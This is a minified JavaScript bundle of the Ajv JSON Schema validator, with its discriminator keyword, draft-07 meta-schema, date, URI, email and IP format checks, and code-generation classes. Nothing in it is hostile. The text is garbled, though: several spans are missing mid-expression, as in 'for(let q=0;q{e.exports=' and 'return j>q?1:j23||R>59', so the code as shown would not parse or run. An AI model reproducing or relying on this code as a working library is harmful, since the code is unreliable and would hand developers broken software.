requires discriminator option");let b=d.propertyName;if(typeof b!="string")throw new Error("discriminator: requires propertyName");if(d.mapping)throw new Error("discriminator: mapping is not supported");if(!g)throw new Error("discriminator: requires oneOf keyword");let p=u.let("valid",!1),h=u.const("tag",(0,e._)`${l}${(0,e.getProperty)(b)}`);u.if((0,e._)`typeof ${h} == "string"`,()=>y(),()=>c.error(!1,{discrError:r.DiscrError.Tag,tag:h,tagName:b})),c.ok(p);function y(){let S=_();u.if(!1);for(let x in S)u.elseIf((0,e._)`${h} === ${x}`),u.assign(p,v(S[x]));u.else(),c.error(!1,{discrError:r.DiscrError.Mapping,tag:h,tagName:b}),u.endIf()}function v(S){let x=u.name("valid"),E=c.subschema({keyword:"oneOf",schemaProp:S},x);return c.mergeEvaluated(E,e.Name),x}function _(){var S;let x={},E=$(f),T=!0;for(let q=0;q{e.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}}),cL=Q((t,e)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.MissingRefError=t.ValidationError=t.CodeGen=t.Name=t.nil=t.stringify=t.str=t._=t.KeywordCxt=t.Ajv=void 0;var r=Tq(),n=nL(),a=iL(),s=oL(),i=["/properties"],o="http://json-schema.org/draft-07/schema";class c extends r.default{_addVocabularies(){super._addVocabularies(),n.default.forEach(g=>this.addVocabulary(g)),this.opts.discriminator&&this.addKeyword(a.default)}_addDefaultMetaSchema(){if(super._addDefaultMetaSchema(),!this.opts.meta)return;let g=this.opts.$data?this.$dataMetaSchema(s,i):s;this.addMetaSchema(g,o,!1),this.refs["http://json-schema.org/schema"]=o}defaultMeta(){return this.opts.defaultMeta=super.defaultMeta()||(this.getSchema(o)?o:void 0)}}t.Ajv=c,e.exports=t=c,e.exports.Ajv=c,Object.defineProperty(t,"__esModule",{value:!0}),t.default=c;var u=sl();Object.defineProperty(t,"KeywordCxt",{enumerable:!0,get:function(){return u.KeywordCxt}});var l=Be();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return l._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return l.str}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return l.stringify}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return l.nil}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return l.Name}}),Object.defineProperty(t,"CodeGen",{enumerable:!0,get:function(){return l.CodeGen}});var d=xm();Object.defineProperty(t,"ValidationError",{enumerable:!0,get:function(){return d.default}});var f=il();Object.defineProperty(t,"MissingRefError",{enumerable:!0,get:function(){return f.default}})}),uL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.formatNames=t.fastFormats=t.fullFormats=void 0;function e(j,q){return{validate:j,compare:q}}t.fullFormats={date:e(s,i),time:e(c(!0),u),"date-time":e(f(!0),m),"iso-time":e(c(),l),"iso-date-time":e(f(),g),duration:/^P(?!$)((\d+Y)?(\d+M)?(\d+D)?(T(?=\d)(\d+H)?(\d+M)?(\d+S)?)?|(\d+W)?)$/,uri:h,"uri-reference":/^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,"uri-template":/^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i,url:/^(?:https?|ftp):\/\/(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)(?:\.(?:[a-z0-9\u{00a1}-\u{ffff}]+-)*[a-z0-9\u{00a1}-\u{ffff}]+)*(?:\.(?:[a-z\u{00a1}-\u{ffff}]{2,})))(?::\d{2,5})?(?:\/[^\s]*)?$/iu,email:/^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i,hostname:/^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)$/,ipv6:/^((([0-9a-f]{1,4}:){7}([0-9a-f]{1,4}|:))|(([0-9a-f]{1,4}:){6}(:[0-9a-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){5}(((:[0-9a-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9a-f]{1,4}:){4}(((:[0-9a-f]{1,4}){1,3})|((:[0-9a-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){3}(((:[0-9a-f]{1,4}){1,4})|((:[0-9a-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){2}(((:[0-9a-f]{1,4}){1,5})|((:[0-9a-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9a-f]{1,4}:){1}(((:[0-9a-f]{1,4}){1,6})|((:[0-9a-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9a-f]{1,4}){1,7})|((:[0-9a-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))$/i,regex:N,uuid:/^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i,"json-pointer":/^(?:\/(?:[^~/]|~0|~1)*)*$/,"json-pointer-uri-fragment":/^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i,"relative-json-pointer":/^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/,byte:v,int32:{type:"number",validate:x},int64:{type:"number",validate:E},float:{type:"number",validate:T},double:{type:"number",validate:T},password:!0,binary:!0},t.fastFormats={...t.fullFormats,date:e(/^\d\d\d\d-[0-1]\d-[0-3]\d$/,i),time:e(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,u),"date-time":e(/^\d\d\d\d-[0-1]\d-[0-3]\dt(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,m),"iso-time":e(/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,l),"iso-date-time":e(/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,g),uri:/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i,"uri-reference":/^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i,email:/^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i},t.formatNames=Object.keys(t.fullFormats);function r(j){return j%4===0&&(j%100!==0||j%400===0)}var n=/^(\d\d\d\d)-(\d\d)-(\d\d)$/,a=[0,31,28,31,30,31,30,31,31,30,31,30,31];function s(j){let q=n.exec(j);if(!q)return!1;let H=+q[1],A=+q[2],W=+q[3];return A>=1&&A<=12&&W>=1&&W<=(A===2&&r(H)?29:a[A])}function i(j,q){if(j&&q)return j>q?1:j23||R>59||j&&!ne)return!1;if(W<=23&&oe<=59&&he<60)return!0;let z=oe-R*re,I=W-F*re-(z<0?1:0);return(I===23||I===-1)&&(z===59||z===-1)&&he<61}}function u(j,q){if(!(j&&q))return;let H=new Date("2020-01-01T"+j).valueOf(),A=new Date("2020-01-01T"+q).valueOf();if(H&&A)return H-A}function l(j,q){if(!(j&&q))return;let H=o.exec(j),A=o.exec(q);if(H&&A)return j=H[1]+H[2]+H[3],q=A[1]+A[2]+A[3],j>q?1:j=_}function E(j){return Number.isInteger(j)}function T(){return!0}var $=/[^\\]\\Z/;function N(j){if($.test(j))return!1;try{return new RegExp(j),!0}catch{return!1}}}),Wu=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.regexpCode=t.getEsmExportName=t.getProperty=t.safeStringify=t.stringify=t.strConcat=t.addCodeArg=t.str=t._=t.nil=t._Code=t.Name=t.IDENTIFIER=t._CodeOrName=void 0;class e{}t._CodeOrName=e,t.IDENTIFIER=/^[a-z$_][a-z$_0-9]*$/i;class r extends e{constructor(y){if(super(),!t.IDENTIFIER.test(y))throw new Error("CodeGen: name must be a valid identifier");this.str=y}toString(){return this.str}emptyStr(){return!1}get names(){return{[this.str]:1}}}t.Name=r;class n extends e{constructor(y){super(),this._items=typeof y=="string"?[y]:y}toString(){return this.str}emptyStr(){if(this._items.length>1)return!1;let y=this._items[0];return y===""||y==='""'}get str(){var y;return(y=this._str)!==null&&y!==void 0?y:this._str=this._items.reduce((v,_)=>`${v}${_}`,"")}get names(){var y;return(y=this._names)!==null&&y!==void 0?y:this._names=this._items.reduce((v,_)=>(_ instanceof r&&(v[_.str]=(v[_.str]||0)+1),v),{})}}t._Code=n,t.nil=new n("");function a(h,...y){let v=[h[0]],_=0;for(;_{Object.defineProperty(t,"__esModule",{value:!0}),t.ValueScope=t.ValueScopeName=t.Scope=t.varKinds=t.UsedValueState=void 0;var e=Wu();class r extends Error{constructor(u){super(`CodeGen: "code" for ${u} not defined`),this.value=u.value}}var n;(function(c){c[c.Started=0]="Started",c[c.Completed=1]="Completed"})(n||(t.UsedValueState=n={})),t.varKinds={const:new e.Name("const"),let:new e.Name("let"),var:new e.Name("var")};class a{constructor({prefixes:u,parent:l}={}){this._names={},this._prefixes=u,this._parent=l}toName(u){return u instanceof e.Name?u:this.name(u)}name(u){return new e.Name(this._newName(u))}_newName(u){let l=this._names[u]||this._nameGroup(u);return`${u}${l.index++}`}_nameGroup(u){var l,d;if(!((d=(l=this._parent)===null||l===void 0?void 0:l._prefixes)===null||d===void 0)&&d.has(u)||this._prefixes&&!this._prefixes.has(u))throw new Error(`CodeGen: prefix "${u}" is not allowed in this scope`);return this._names[u]={prefix:u,index:0}}}t.Scope=a;class s extends e.Name{constructor(u,l){super(l),this.prefix=u}setValue(u,{property:l,itemIndex:d}){this.value=u,this.scopePath=(0,e._)`.${new e.Name(l)}[${d}]`}}t.ValueScopeName=s;var i=(0,e._)`\n`;class o extends a{constructor(u){super(u),this._values={},this._scope=u.scope,this.opts={...u,_n:u.lines?i:e.nil}}get(){return this._scope}name(u){return new s(u,this._newName(u))}value(u,l){var d;if(l.ref===void 0)throw new Error("CodeGen: ref must be passed in value");let f=this.toName(u),{prefix:m}=f,g=(d=l.key)!==null&&d!==void 0?d:l.ref,b=this._values[m];if(b){let y=b.get(g);if(y)return y}else b=this._values[m]=new Map;b.set(g,f);let p=this._scope[m]||(this._scope[m]=[]),h=p.length;return p[h]=l.ref,f.setValue(l,{property:m,itemIndex:h}),f}getValue(u,l){let d=this._values[u];if(d)return d.get(l)}scopeRefs(u,l=this._values){return this._reduceValues(l,d=>{if(d.scopePath===void 0)throw new Error(`CodeGen: name "${d}" has no value`);return(0,e._)`${u}${d.scopePath}`})}scopeCode(u=this._values,l,d){return this._reduceValues(u,f=>{if(f.value===void 0)throw new Error(`CodeGen: name "${f}" has no value`);return f.value.code},l,d)}_reduceValues(u,l,d={},f){let m=e.nil;for(let g in u){let b=u[g];if(!b)continue;let p=d[g]=d[g]||new Map;b.forEach(h=>{if(p.has(h))return;p.set(h,n.Started);let y=l(h);if(y){let v=this.opts.es5?t.varKinds.var:t.varKinds.const;m=(0,e._)`${m}${v} ${h} = ${y};${this.opts._n}`}else if(y=f?.(h))m=(0,e._)`${m}${y}${this.opts._n}`;else throw new r(h);p.set(h,n.Completed)})}return m}}t.ValueScope=o}),Fe=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.or=t.and=t.not=t.CodeGen=t.operators=t.varKinds=t.ValueScopeName=t.ValueScope=t.Scope=t.Name=t.regexpCode=t.stringify=t.getProperty=t.nil=t.strConcat=t.str=t._=void 0;var e=Wu(),r=f1(),n=Wu();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return n._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return n.str}}),Object.defineProperty(t,"strConcat",{enumerable:!0,get:function(){return n.strConcat}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return n.nil}}),Object.defineProperty(t,"getProperty",{enumerable:!0,get:function(){return n.getProperty}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return n.stringify}}),Object.defineProperty(t,"regexpCode",{enumerable:!0,get:function(){return n.regexpCode}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return n.Name}});var a=f1();Object.defineProperty(t,"Scope",{enumerable:!0,get:function(){return a.Scope}}),Object.defineProperty(t,"ValueScope",{enumerable:!0,get:function(){return a.ValueScope}}),Object.defineProperty(t,"ValueScopeName",{enumerable:!0,get:function(){return a.ValueScopeName}}),Object.defineProperty(t,"varKinds",{enumerable:!0,get:function(){return a.varKinds}}),t.operators={GT:new e._Code(">"),GTE:new e._Code(">="),LT:new e._Code("<"),LTE:new e._Code("<="),EQ:new e._Code("==="),NEQ:new e._Code("!=="),NOT:new e._Code("!"),OR:new e._Code("||"),AND:new e._Code("&&"),ADD:new e._Code("+")};class s{optimizeNodes(){return this}optimizeNames(w,k){return this}}class i extends s{constructor(w,k,M){super(),this.varKind=w,this.name=k,this.rhs=M}render({es5:w,_n:k}){let M=w?r.varKinds.var:this.varKind,K=this.rhs===void 0?"":` = ${this.rhs}`;return`${M} ${this.name}${K};`+k}optimizeNames(w,k){if(w[this.name.str])return this.rhs&&(this.rhs=A(this.rhs,w,k)),this}get names(){return this.rhs instanceof e._CodeOrName?this.rhs.names:{}}}class o extends s{constructor(w,k,M){super(),this.lhs=w,this.rhs=k,this.sideEffects=M}render({_n:w}){return`${this.lhs} = ${this.rhs};`+w}optimizeNames(w,k){if(!(this.lhs instanceof e.Name&&!w[this.lhs.str]&&!this.sideEffects))return this.rhs=A(this.rhs,w,k),this}get names(){let w=this.lhs instanceof e.Name?{}:{...this.lhs.names};return H(w,this.rhs)}}class c extends o{constructor(w,k,M,K){super(w,M,K),this.op=k}render({_n:w}){return`${this.lhs} ${this.op}= ${this.rhs};`+w}}class u extends s{constructor(w){super(),this.label=w,this.names={}}render({_n:w}){return`${this.label}:`+w}}class l extends s{constructor(w){super(),this.label=w,this.names={}}render({_n:w}){return`break${this.label?` ${this.label}`:""};`+w}}class d extends s{constructor(w){super(),this.error=w}render({_n:w}){return`throw ${this.error};`+w}get names(){return this.error.names}}class f extends s{constructor(w){super(),this.code=w}render({_n:w}){return`${this.code};`+w}optimizeNodes(){return`${this.code}`?this:void 0}optimizeNames(w,k){return this.code=A(this.code,w,k),this}get names(){return this.code instanceof e._CodeOrName?this.code.names:{}}}class m extends s{constructor(w=[]){super(),this.nodes=w}render(w){return this.nodes.reduce((k,M)=>k+M.render(w),"")}optimizeNodes(){let{nodes:w}=this,k=w.length;for(;k--;){let M=w[k].optimizeNodes();Array.isArray(M)?w.splice(k,1,...M):M?w[k]=M:w.splice(k,1)}return w.length>0?this:void 0}optimizeNames(w,k){let{nodes:M}=this,K=M.length;for(;K--;){let J=M[K];J.optimizeNames(w,k)||(W(w,J.names),M.splice(K,1))}return M.length>0?this:void 0}get names(){return this.nodes.reduce((w,k)=>q(w,k.names),{})}}class g extends m{render(w){return"{"+w._n+super.render(w)+"}"+w._n}}class b extends m{}class p extends g{}p.kind="else";class h extends g{constructor(w,k){super(k),this.condition=w}render(w){let k=`if(${this.condition})`+super.render(w);return this.else&&(k+="else "+this.else.render(w)),k}optimizeNodes(){super.optimizeNodes();let w=this.condition;if(w===!0)return this.nodes;let k=this.else;if(k){let M=k.optimizeNodes();k=this.else=Array.isArray(M)?new p(M):M}if(k)return w===!1?k instanceof h?k:k.nodes:this.nodes.length?this:new h(oe(w),k instanceof h?[k]:k.nodes);if(!(w===!1||!this.nodes.length))return this}optimizeNames(w,k){var M;if(this.else=(M=this.else)===null||M===void 0?void 0:M.optimizeNames(w,k),!!(super.optimizeNames(w,k)||this.else))return this.condition=A(this.condition,w,k),this}get names(){let w=super.names;return H(w,this.condition),this.else&&q(w,this.else.names),w}}h.kind="if";class y extends g{}y.kind="for";class v extends y{constructor(w){super(),this.iteration=w}render(w){return`for(${this.iteration})`+super.render(w)}optimizeNames(w,k){if(super.optimizeNames(w,k))return this.iteration=A(this.iteration,w,k),this}get names(){return q(super.names,this.iteration.names)}}class _ extends y{constructor(w,k,M,K){super(),this.varKind=w,this.name=k,this.from=M,this.to=K}render(w){let k=w.es5?r.varKinds.var:this.varKind,{name:M,from:K,to:J}=this;return`for(${k} ${M}=${K}; ${M}<${J}; ${M}++)`+super.render(w)}get names(){let w=H(super.names,this.from);return H(w,this.to)}}class S extends y{constructor(w,k,M,K){super(),this.loop=w,this.varKind=k,this.name=M,this.iterable=K}render(w){return`for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})`+super.render(w)}optimizeNames(w,k){if(super.optimizeNames(w,k))return this.iterable=A(this.iterable,w,k),this}get names(){return q(super.names,this.iterable.names)}}class x extends g{constructor(w,k,M){super(),this.name=w,this.args=k,this.async=M}render(w){return`${this.async?"async ":""}function ${this.name}(${this.args})`+super.render(w)}}x.kind="func";class E extends m{render(w){return"return "+super.render(w)}}E.kind="return";class T extends g{render(w){let k="try"+super.render(w);return this.catch&&(k+=this.catch.render(w)),this.finally&&(k+=this.finally.render(w)),k}optimizeNodes(){var w,k;return super.optimizeNodes(),(w=this.catch)===null||w===void 0||w.optimizeNodes(),(k=this.finally)===null||k===void 0||k.optimizeNodes(),this}optimizeNames(w,k){var M,K;return super.optimizeNames(w,k),(M=this.catch)===null||M===void 0||M.optimizeNames(w,k),(K=this.finally)===null||K===void 0||K.optimizeNames(w,k),this}get names(){let w=super.names;return this.catch&&q(w,this.catch.names),this.finally&&q(w,this.finally.names),w}}class $ extends g{constructor(w){super(),this.error=w}render(w){return`catch(${this.error})`+super.render(w)}}$.kind="catch";class N extends g{render(w){return"finally"+super.render(w)}}N.kind="finally";class j{constructor(w,k={}){this._values={},this._blockStarts=[],this._constants={},this.opts={...k,_n:k.lines?` +`:""},this._extScope=w,this._scope=new r.Scope({parent:w}),this._nodes=[new b]}toString(){return this._root.render(this.opts)}name(w){return this._scope.name(w)}scopeName(w){return this._extScope.name(w)}scopeValue(w,k){let M=this._extScope.value(w,k);return(this._values[M.prefix]||(this._values[M.prefix]=new Set)).add(M),M}getScopeValue(w,k){return this._extScope.getValue(w,k)}scopeRefs(w){return this._extScope.scopeRefs(w,this._values)}scopeCode(){return this._extScope.scopeCode(this._values)}_def(w,k,M,K){let J=this._scope.toName(k);return M!==void 0&&K&&(this._constants[J.str]=M),this._leafNode(new i(w,J,M)),J}const(w,k,M){return this._def(r.varKinds.const,w,k,M)}let(w,k,M){return this._def(r.varKinds.let,w,k,M)}var(w,k,M){return this._def(r.varKinds.var,w,k,M)}assign(w,k,M){return this._leafNode(new o(w,k,M))}add(w,k){return this._leafNode(new c(w,t.operators.ADD,k))}code(w){return typeof w=="function"?w():w!==e.nil&&this._leafNode(new f(w)),this}object(...w){let k=["{"];for(let[M,K]of w)k.length>1&&k.push(","),k.push(M),(M!==K||this.opts.es5)&&(k.push(":"),(0,e.addCodeArg)(k,K));return k.push("}"),new e._Code(k)}if(w,k,M){if(this._blockNode(new h(w)),k&&M)this.code(k).else().code(M).endIf();else if(k)this.code(k).endIf();else if(M)throw new Error('CodeGen: "else" body without "then" body');return this}elseIf(w){return this._elseNode(new h(w))}else(){return this._elseNode(new p)}endIf(){return this._endBlockNode(h,p)}_for(w,k){return this._blockNode(w),k&&this.code(k).endFor(),this}for(w,k){return this._for(new v(w),k)}forRange(w,k,M,K,J=this.opts.es5?r.varKinds.var:r.varKinds.let){let de=this._scope.toName(w);return this._for(new _(J,de,k,M),()=>K(de))}forOf(w,k,M,K=r.varKinds.const){let J=this._scope.toName(w);if(this.opts.es5){let de=k instanceof e.Name?k:this.var("_arr",k);return this.forRange("_i",0,(0,e._)`${de}.length`,se=>{this.var(J,(0,e._)`${de}[${se}]`),M(J)})}return this._for(new S("of",K,J,k),()=>M(J))}forIn(w,k,M,K=this.opts.es5?r.varKinds.var:r.varKinds.const){if(this.opts.ownProperties)return this.forOf(w,(0,e._)`Object.keys(${k})`,M);let J=this._scope.toName(w);return this._for(new S("in",K,J,k),()=>M(J))}endFor(){return this._endBlockNode(y)}label(w){return this._leafNode(new u(w))}break(w){return this._leafNode(new l(w))}return(w){let k=new E;if(this._blockNode(k),this.code(w),k.nodes.length!==1)throw new Error('CodeGen: "return" should have one node');return this._endBlockNode(E)}try(w,k,M){if(!k&&!M)throw new Error('CodeGen: "try" without "catch" and "finally"');let K=new T;if(this._blockNode(K),this.code(w),k){let J=this.name("e");this._currNode=K.catch=new $(J),k(J)}return M&&(this._currNode=K.finally=new N,this.code(M)),this._endBlockNode($,N)}throw(w){return this._leafNode(new d(w))}block(w,k){return this._blockStarts.push(this._nodes.length),w&&this.code(w).endBlock(k),this}endBlock(w){let k=this._blockStarts.pop();if(k===void 0)throw new Error("CodeGen: not in self-balancing block");let M=this._nodes.length-k;if(M<0||w!==void 0&&M!==w)throw new Error(`CodeGen: wrong number of nodes: ${M} vs ${w} expected`);return this._nodes.length=k,this}func(w,k=e.nil,M,K){return this._blockNode(new x(w,k,M)),K&&this.code(K).endFunc(),this}endFunc(){return this._endBlockNode(x)}optimize(w=1){for(;w-- >0;)this._root.optimizeNodes(),this._root.optimizeNames(this._root.names,this._constants)}_leafNode(w){return this._currNode.nodes.push(w),this}_blockNode(w){this._currNode.nodes.push(w),this._nodes.push(w)}_endBlockNode(w,k){let M=this._currNode;if(M instanceof w||k&&M instanceof k)return this._nodes.pop(),this;throw new Error(`CodeGen: not in block "${k?`${w.kind}/${k.kind}`:w.kind}"`)}_elseNode(w){let k=this._currNode;if(!(k instanceof h))throw new Error('CodeGen: "else" without "if"');return this._currNode=k.else=w,this}get _root(){return this._nodes[0]}get _currNode(){let w=this._nodes;return w[w.length-1]}set _currNode(w){let k=this._nodes;k[k.length-1]=w}}t.CodeGen=j;function q(I,w){for(let k in w)I[k]=(I[k]||0)+(w[k]||0);return I}function H(I,w){return w instanceof e._CodeOrName?q(I,w.names):I}function A(I,w,k){if(I instanceof e.Name)return M(I);if(!K(I))return I;return new e._Code(I._items.reduce((J,de)=>(de instanceof e.Name&&(de=M(de)),de instanceof e._Code?J.push(...de._items):J.push(de),J),[]));function M(J){let de=k[J.str];return de===void 0||w[J.str]!==1?J:(delete w[J.str],de)}function K(J){return J instanceof e._Code&&J._items.some(de=>de instanceof e.Name&&w[de.str]===1&&k[de.str]!==void 0)}}function W(I,w){for(let k in w)I[k]=(I[k]||0)-(w[k]||0)}function oe(I){return typeof I=="boolean"||typeof I=="number"||I===null?!I:(0,e._)`!${z(I)}`}t.not=oe;var he=R(t.operators.AND);function ne(...I){return I.reduce(he)}t.and=ne;var re=R(t.operators.OR);function F(...I){return I.reduce(re)}t.or=F;function R(I){return(w,k)=>w===e.nil?k:k===e.nil?w:(0,e._)`${z(w)} ${I} ${z(k)}`}function z(I){return I instanceof 